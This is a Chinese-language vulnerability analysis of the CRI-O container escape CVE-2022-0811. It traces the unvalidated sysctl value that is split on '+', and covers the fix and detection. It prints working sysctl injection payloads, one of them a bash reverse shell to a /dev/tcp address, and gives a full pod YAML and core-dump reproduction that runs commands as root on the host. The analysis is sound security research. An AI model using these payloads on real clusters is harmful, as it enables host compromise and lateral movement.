谁动CVE-2022-0811容器逃逸漏洞分析

VSole2022-03-25 15:21:39

一、简介

CrowdStrike的云威胁研究团队在CRI-O(一个支撑Kubernetes的容器运行时引擎)中发现了一个新的漏洞(CVE-2022-0811),被称为“cr8escape”[1]。攻击者在创建容器时可以从Kubernetes容器中逃离,并获得对主机的根访问权,从而可以在集群中的任何地方移动。调用CVE-2022-0811可以让攻击者对目标执行各种操作,包括执行恶意软件、数据外溢和跨pod的横向移动。CRI-O被很多程序默认使用,影响范围较大,CVE评分8.8[2]。影响范围为CRI-O 版本 > 1.19.0。该漏洞已在3月15日发布的CRI-O 版本1.19.6、1.20.7、1.21.6、1.22.3、1.23.2中修复,受影响用户可以及时升级更新

本文将从漏洞的复现利用,代码,修复,检测几个方面对CVE-2022-0811漏洞进行详细分析问权限。

免责声明:本文中提到的漏洞利用代码和分析皆已在研究员博客中公开,仅供研究交流使用,请遵守《网络安全法》等相关法律法规,切勿将其用于未授权渗透测试。

二、漏洞代码分析

最直接的代码分析方式就是对代码进行debug调试,可以很清楚地看到整个代码的业务逻辑,调用过程,运行中变量的值等。搭配debug调试,能对代码分析的工作起到事半功倍的效果。

2.1搭建漏洞验证调试环境

首先我们搭建漏洞验证调试环境。CRI-O采用go语言编写,于是我们采用delve来进行远程debug调试。

1、 安装delve


git clone https://github.com/go-delve/delvecd delvemake

2、 编译CRI-O


git clone https://github.com/cri-o/cri-o.git# 切换到漏洞修复之前的版本git checkout 1.23.1# 编译,因为需要debug,所以我们加上DEBUG=1 DEBUG=1 make install

3、 使用delve运行CRI-O


dlv --listen=:2345 --headless=true --api-version=2 --accept-multiclient exec bin/crio

4、 在IDEA中配置go remote地址

图1. 在IDEA中配置go remote地址

现在就可以愉快地“捉虫子”(DEBUG)了。

2.2 漏洞代码执行分析

从漏洞复现可以看出,漏洞是在执行Pod创建的时候触发的,因此对代码的分析我们就从Pod创建的代码开始。

CRI-O的内部通过API的形式定义了各种类型的操作,每种类型的操作对应不同的Handler执行具体的业务逻辑。

创建Pod的方法名为RunPodSandbox,对应的Handler为_RuntimeService_RunPodSandbox_Handler。


var _RuntimeService_serviceDesc = grpc.ServiceDesc{   ServiceName: "runtime.v1alpha2.RuntimeService",   HandlerType: (*RuntimeServiceServer)(nil),   Methods: []grpc.MethodDesc{      {         MethodName: "Version",         Handler:    _RuntimeService_Version_Handler,      },      {         MethodName: "RunPodSandbox",         Handler:    _RuntimeService_RunPodSandbox_Handler,      },...
func _RuntimeService_RunPodSandbox_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {  in := new(RunPodSandboxRequest)if err := dec(in); err != nil {return nil, err  }if interceptor == nil {return srv.(RuntimeServiceServer).RunPodSandbox(ctx, in)  }  info := &grpc.UnaryServerInfo{    Server:     srv,    FullMethod: "/runtime.v1.RuntimeService/RunPodSandbox",  }  handler := func(ctx context.Context, req interface{}) (interface{}, error) {return srv.(RuntimeServiceServer).RunPodSandbox(ctx, req.(*RunPodSandboxRequest))  }return interceptor(ctx, in, info, handler)}

跟进_RuntimeService_RunPodSandbox_Handler,我们可以看到实际调用的是RunPodSandbox。通过对RunPodSandbox断点调试,如图2所示,我们可以看到传入参数req的内容即为我们创建pod的请求对象,sysctls的内容正是传入的恶意字符串。

图2. RunPodSandbox断点调试

继续跟进RunPodSandbox,可以看到处理sysctls相关方法。

•  configureGeneratorForSysctls 处理验证传入的sysctls参数

•  configureGeneratorForSandboxNamespaces执行实际修改设置操作


//  server/sandbox_run.go
// RunPodSandbox creates and runs a pod-level sandbox.func (s *Server) RunPodSandbox(ctx context.Context, req *types.RunPodSandboxRequest) (*types.RunPodSandboxResponse, error) {// platform dependent callreturn s.runPodSandbox(ctx, req)}
// server/sandbox_run_linux.go
func (s *Server) runPodSandbox(ctx context.Context, req *types.RunPodSandboxRequest) (resp *types.RunPodSandboxResponse, retErr error) {... // 暂时忽略与本漏洞不相关代码// 关键代码// Add default sysctls given in crio.conf  sysctls := s.configureGeneratorForSysctls(ctx, g, hostNetwork, hostIPC, req.Config.Linux.Sysctls)
// set up namespaces  nsCleanupFuncs, err := s.configureGeneratorForSandboxNamespaces(hostNetwork, hostIPC, hostPID, sandboxIDMappings, sysctls, sb, g)...  }

configureGeneratorForSysctls 解析传入的key和value。并对解析出来的key进行判断,只能是以下几种类型的:

•    kernel.shm

•    kernel.msg

•    fs.mqueue.

•    net.

这几种是被认为是安全的,可以被配置的参数项。目前 k8s中只有5种被认为是安全的[3]。

细心的读者可能发现了,这边并没有对value进行检测,这就为后面的漏洞埋下了伏笔。


func (s *Server) configureGeneratorForSysctls(ctx context.Context, g *generate.Generator, hostNetwork, hostIPC bool, sysctls map[string]string) map[string]string {  sysctlsToReturn := make(map[string]string)  ...
// extract linux sysctls from annotations and pass down to oci runtime// Will override any duplicate default systcl from crio.conffor key, value := range sysctls {// 生成sysctl,调用Validate对参数进行验证    sysctl := libconfig.NewSysctl(key, value)
if err := sysctl.Validate(hostNetwork, hostIPC); err != nil {      log.Warnf(ctx, "Skipping invalid sysctl specified over CRI %s: %v", sysctl, err)continue    }    g.AddLinuxSysctl(key, value)    sysctlsToReturn[key] = value  }return sysctlsToReturn}
// 只有以下的内核参数可以被修改var prefixNamespaces = map[string]Namespace{"kernel.shm": IpcNamespace,"kernel.msg": IpcNamespace,"fs.mqueue.": IpcNamespace,"net.":       NetNamespace,}
// 可以看出Validate 里面只对Key进行了验证,没有对value进行任务的校验。// 如果value存在+就可以利用后续的分割的机制实现任意的内核参数的注入修改。func (s *Sysctl) Validate(hostNet, hostIPC bool) error {  nsErrorFmt := "%q not allowed with host %s enabled"if ns, found := namespaces[s.Key()]; found {if ns == IpcNamespace && hostIPC {return errors.Errorf(nsErrorFmt, s.Key(), ns)    }return nil  }for p, ns := range prefixNamespaces {if strings.HasPrefix(s.Key(), p) {if ns == IpcNamespace && hostIPC {return errors.Errorf(nsErrorFmt, s.Key(), ns)      }if ns == NetNamespace && hostNet {return errors.Errorf(nsErrorFmt, s.Key(), ns)      }return nil    }  }return errors.Errorf("%s not whitelisted", s.Key())}

我们继续跟进configureGeneratorForSandboxNamespaces方法,该方法主要调用NewPodNamespaces为pod创建新的namesapce。


func (s *Server) configureGeneratorForSandboxNamespaces(hostNetwork, hostIPC, hostPID bool, idMappings *idtools.IDMappings, sysctls map[string]string, sb *libsandbox.Sandbox, g *generate.Generator) (cleanupFuncs []func() error, retErr error) {...// now that we've configured the namespaces we're sharing, create them  namespaces, err := s.config.NamespaceManager().NewPodNamespaces(namespaceConfig)

这边就是问题所在,调用了getSysctlForPinns对cfg.Sysctls进行解析。

将所有的sysctl用+ 进行拼接合并,可以看到注释,假定sysctl中不存在+,而攻击者所做的就是让这样子的假定不生效。


func (mgr *NamespaceManager) NewPodNamespaces(cfg *PodNamespacesConfig) ([]Namespace, error) {... if len(cfg.Sysctls) != 0 {    pinnsSysctls, err := getSysctlForPinns(cfg.Sysctls)if err != nil {return nil, errors.Wrapf(err, "invalid sysctl")    }    pinnsArgs = append(pinnsArgs, "-s", pinnsSysctls)  }func getSysctlForPinns(sysctls map[string]string) string {// this assumes there's no sysctl with a `+` in itconst pinnsSysctlDelim = "+"  g := new(bytes.Buffer)for key, value := range sysctls {    fmt.Fprintf(g, "'%s=%s'%s", key, value, pinnsSysctlDelim)  }return strings.TrimSuffix(g.String(), pinnsSysctlDelim)}

调用cmd执行pinns


logrus.Debugf("Calling pinns with %v", pinnsArgs)  output, err := cmdrunner.Command(mgr.pinnsPath, pinnsArgs...).CombinedOutput()

图3. cmdrunner.Command断点调试

通过图3调试我们可以很清晰地看到 cmd实际执行的命令为


/usr/local/bin/pinns -d /var/run/ -f 37f594b6-4ffb-43a2-a0d5-e7b23d642115 -s  'kernel.shm_rmid_forced=1+kernel.core_pattern=|/bin/bash -c "$@" -- eval whoami > /output #'--ipc --net --uts

pinns程序是cri-o用来修改sysctl,设置namespace相关参数的单独的程序。源代码只有4个文件,代码逻辑比较简单。


int main(int argc, char **argv) {  ... while ((c = getopt_long(argc, argv, "mpchuUind:f:s:", long_options, NULL)) != -1) {switch (c) {  ... // 解析参数中的 -s参数存到sysctlscase 's':    sysctls = optarg;break;    ...     }  }...// configure_sysctlsif (sysctls && configure_sysctls(sysctls) < 0) {    pexit("Failed to configure sysctls after unshare");  }

前面没有对sysctl的value没有做检测在configure_sysctls这里就是最终导致任意/proc/sys的写入。

configure_sysctls中将传入的sysctls使用 + 循环分割,解析key=value的格式,再写入文件。

前面传入的payload:


'kernel.shm_rmid_forced=1+kernel.core_pattern=|/bin/bash -c "$@" -- eval /bin/bash -i >& /dev/tcp/10.211.55.4/8888 0>&1 #'

先解析成

kernel.shm_rmid_forced=1写入/proc/sys/kernel/shm_rmid_forced

再将+后面的解析kernel.core_pattern=|/bin/bash.. 写入/proc/sys/kernel/core_pattern文件。

从代码逻辑中可以看出,一开始这个设计的初衷是为了支持多个sysctl参数的设置,但是没有对参数的格式进行有效的校验导致的。


const char *sysctl_delim = "+";int configure_sysctls (char * const sysctls){char* sysctl = strtok(sysctls, sysctl_delim);char* key = NULL;char* value = NULL;while (sysctl)  {if (separate_sysctl_key_value (sysctl, &key, &value) < 0)return -1;
if (write_sysctl_to_file (key, value) < 0)return -1;    sysctl = strtok (NULL, sysctl_delim);  }return 0;}// 将设置的参数的. 换成 / 拼接/proc/sys,把值写入具体的文件中static int write_sysctl_to_file (char * sysctl_key, char* sysctl_value){if (!sysctl_key || !sysctl_value)  {    pwarn ("sysctl key or value not initialized");return -1;  }
// replace periods with / to create the sysctl pathfor (char* it = sysctl_key; *it; it++)if (*it == '.')      *it = '/';
  _cleanup_close_ int dirfd = open ("/proc/sys", O_DIRECTORY | O_PATH | O_CLOEXEC);if (UNLIKELY (dirfd < 0))  {    pwarn ("failed to open /proc/sys");return -1;  }
  _cleanup_close_ int fd = openat (dirfd, sysctl_key, O_WRONLY);if (UNLIKELY (fd < 0))  {    pwarnf ("failed to open /proc/sys/%s", sysctl_key);return -1;  }
int ret = TEMP_FAILURE_RETRY (write (fd, sysctl_value, strlen (sysctl_value)));if (UNLIKELY (ret < 0))  {    pwarnf ("failed to write to /proc/sys/%s", sysctl_key);return -1;  }return 0;}

三、漏洞复现

原博客的漏洞复现方式为先创建一个恶意pod,在pod中创建恶意文件,再创建一个pod,修改core_pattern指向恶意文件,最终触发core_dump调用执行恶意文件,整个过程涉及到两个pod的数据的交互。经过测试改进,实际可以只需要一个pod就可以完成整个的漏洞的利用,实现容器逃逸行为。下面我们就将这个漏洞完整的复现一遍。

1. 先安装具有漏洞的CRI-O环境,版本低于1.19.6、1.20.7、1.21.6、1.22.3、1.23.2的CRI-O都是存在漏洞的。

2.  创建容器触发漏洞修改kernel.core_pattern


# cat sysctl-set.yaml
apiVersion: v1kind: Podmetadata:name: sysctl-setspec:securityContext:sysctls:- name: kernel.shm_rmid_forcedvalue: "1+kernel.core_pattern=|/bin/bash -c \"$@\" -- eval whoami > /output #"containers:- name: alpineimage: alpine:latestcommand: ["tail", "-f", "/dev/null"]
# kubectl create -f ./sysctl-set.yamlpod/sysctl-set created

3.  在容器创建后,我们可以发现宿主机的/proc/sys/kernel/core_pattern已经被修改了。这时只需要触发Core Dump就可以执行自定义的脚本文件,实行容器逃逸。


# cat /proc/sys/kernel/core_pattern|/bin/bash -c "$@" -- eval  whoami > /output  #'

4. 在容器中触发漏洞Core Dump


# kubectl exec -it sysctl-set -- sh/ #  ulimit -c unlimited/ #  ulimit -cunlimited/ # tail -f /dev/null &/ # psPID   USER     TIME  COMMAND1 root      0:00 tail -f /dev/null9 root      0:00 sh17 root      0:00 tail -f /dev/null18 root      0:00 ps/ # kill -SIGSEGV 17/ #[1]+  Segmentation fault (core dumped) tail -f /dev/null

5.此时在宿主机上我们可以看到,已经以root用户成功执行了自定义的命令。


parallels@ubuntu-linux-20-04-desktop:~$ cat /output root

利用此漏洞,不仅可以修改core_pattern,理论上/proc/sys下的所有内核参数都是可以被修改的。对系统的稳定性,可用性都有很大的影响。

四、漏洞修复

从代码的提交记录图4可以看出,针对CVE-2022-0811,进行了两次修复。

第一次修复的方式很直接,判断syctld的value中是否存在“+”,只要存在就直接返回err。通过前文的分析,我们知道,拼接的形式的初衷,是为了能够支持支持多个sysctl参数的设置。但是很明显,这样的修复违背了初衷,导致不能设置多个sysctl参数。


图4. 第一次漏洞修复

因此有了第二次修复,如图5所示。第二次的修复就优雅了很多,直接取消了通过+拼接多个参数传入pinns,再通过+分割解析的方式,而是直接传入多个-s的参数。在不影响原始设计初衷的前提下,规避了问题。

图5. 第二次漏洞修复

五、漏洞检测

可以根据漏洞的原理以及官方修复的思路,只要syctld的value中存在“+A=B”这种形式的参数,则可以认为此次创建是一种异常行为,更为精确的检测可以判断value中是否含有其他危险的内核参数。

我们可以从两个角度来检测:

1.  检测 pinns程序的-s参数,参数中是否包含+ = 这样子的拼接形式。

2.  在K8s的环境中,我们也可以利用K8s的审计日志的形式,检测传入的请求的securityContext.sysctls是否含有以上的特征。

目前绿盟NCSS-C容器安全管理系统已经支持CVE-2022-0811漏洞利用行为检测。

六、总结

回顾这个漏洞,该功能的设计首先假定了sysctl参数中不会存在+, 然后将所有的参数用+拼接,传入到pinns后再用+分割解析。这种设计本身就不是很优雅,最终也是导致了这个漏洞的发生。因此可以看出,一个坏的设计可能会导致一系列的问题。在系统架构设计,代码设计之初就规划好将能有效地减少各种安全的风险。

七、参考链接

[1]. https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/

[2]. https://nvd.nist.gov/vuln/detail/CVE-2022-0811

[3]. https://kubernetes.io/docs/tasks/administer-cluster/sysctl-cluster/

关于星云实验室

星云实验室专注于云计算安全、解决方案研究与虚拟化网络安全问题研究。基于IaaS环境的安全防护,利用SDN/NFV等新技术和新理念,提出了软件定义安全的云安全防护体系。承担并完成多个国家、省、市以及行业重点单位创新研究课题,已成功孵化落地绿盟科技云安全解决方案。

内容编辑:星云实验室 陈建军 责任编辑:高深

本公众号原创文章仅代表作者观点,不代表绿盟科技立场。所有原创内容版权均属绿盟科技研究通讯。未经授权,严禁任何媒体以及微信公众号复制、转载、摘编或以其他方式使用,转载须注明来自绿盟科技研究通讯并附上本文链接。

stringpod
本作品采用《CC 协议》,转载必须注明作者和本文链接
近日,研究人员向Kubernetes安全团队报告了一个可导致容器逃逸的安全漏洞[1],获得编号CVE-2021-25741,目前的CVSS3.x评分为8.8[2],属于高危漏洞。该漏洞引起社区的广泛讨论[3]。有人指出,CVE-2021-25741漏洞是由2017年的CVE-2017-1002101漏洞的补丁不充分导致,事实也的确如此。
容器安全是一个庞大且牵涉极广的话题,而容器的安全隔离往往是一套纵深防御的体系,牵扯到AppArmor、Namespace、Capabilities、Cgroup、Seccomp等多项内核技术和特性,但安全却是一处薄弱则全盘皆输的局面,一个新的内核特性可能就会让看似无懈可击的防线存在突破口。随着云原生技术的快速发展,越来越多的容器运行时组件在新版本中会默认配置AppArmor策略,原本我们在《红蓝对
CrowdStrike的云威胁研究团队在CRI-O(一个支撑Kubernetes的容器运行时引擎)中发现了一个新的漏洞(CVE-2022-0811),被称为“cr8escape”。
CVE-2022-0185是Linux内核"File System Context"中的一个堆溢出漏洞,可引起容器逃逸和权限提升,本文将对该漏洞进行分析,并给出检测、缓解、修复建议和总结思考。
很简单,只需要在Kubernetes下安装gatekeeper, 下载安装模板,wget https://raw.githubusercontent.com/open-policy-agent/gatekeeper/master/deploy/gatekeeper.yaml, 执行,kubectl apply -f gatekeeper.yaml, 接下来就全都是效果验证, 创建能控制容器
关于远程代码执行的常用Payload大家好,我是 Ansar Uddin,我是来自孟加拉国的网络安全研究员。这是我的第二篇 Bug 赏金文章。今天的话题都是关于 Rce 的利用。攻击者的能力取决于服务器端解释器的限制。在某些情况下,攻击者可能能够从代码注入升级为命令注入。
容器安全之CVE-2022-0185
2022-03-28 16:35:58
最近的CVE-2022-0185还是挺有意思的,在谷歌kctf(基于 K8s 的 CTF)中被发现。这个洞是在Linux内核的文件系统上下文中功能中的legacy_parse_param函数验证长度的代码处有缺陷,导致了一个基于堆的缓冲区溢出(整数下溢)。 攻击影响为越界写入/拒绝服务/权限提升和特定场景下的容器逃逸(k8s)。 其中会涉及到一些容器安全的基础小知识,有必要简单学习一下这个洞。
最近这log4j热度很高。好久没写文章了,而且目前市面有些文章里面的内容信息已经有些过时缺少最新信息迭代,借此机会我剑指系列基于国内外的关于此漏洞的研究我进行了总结和归纳,并且将我自己目前发现的小众的技巧方法分享给各位,希望能给各位带来帮助不会让各位失望。
VSole
网络安全专家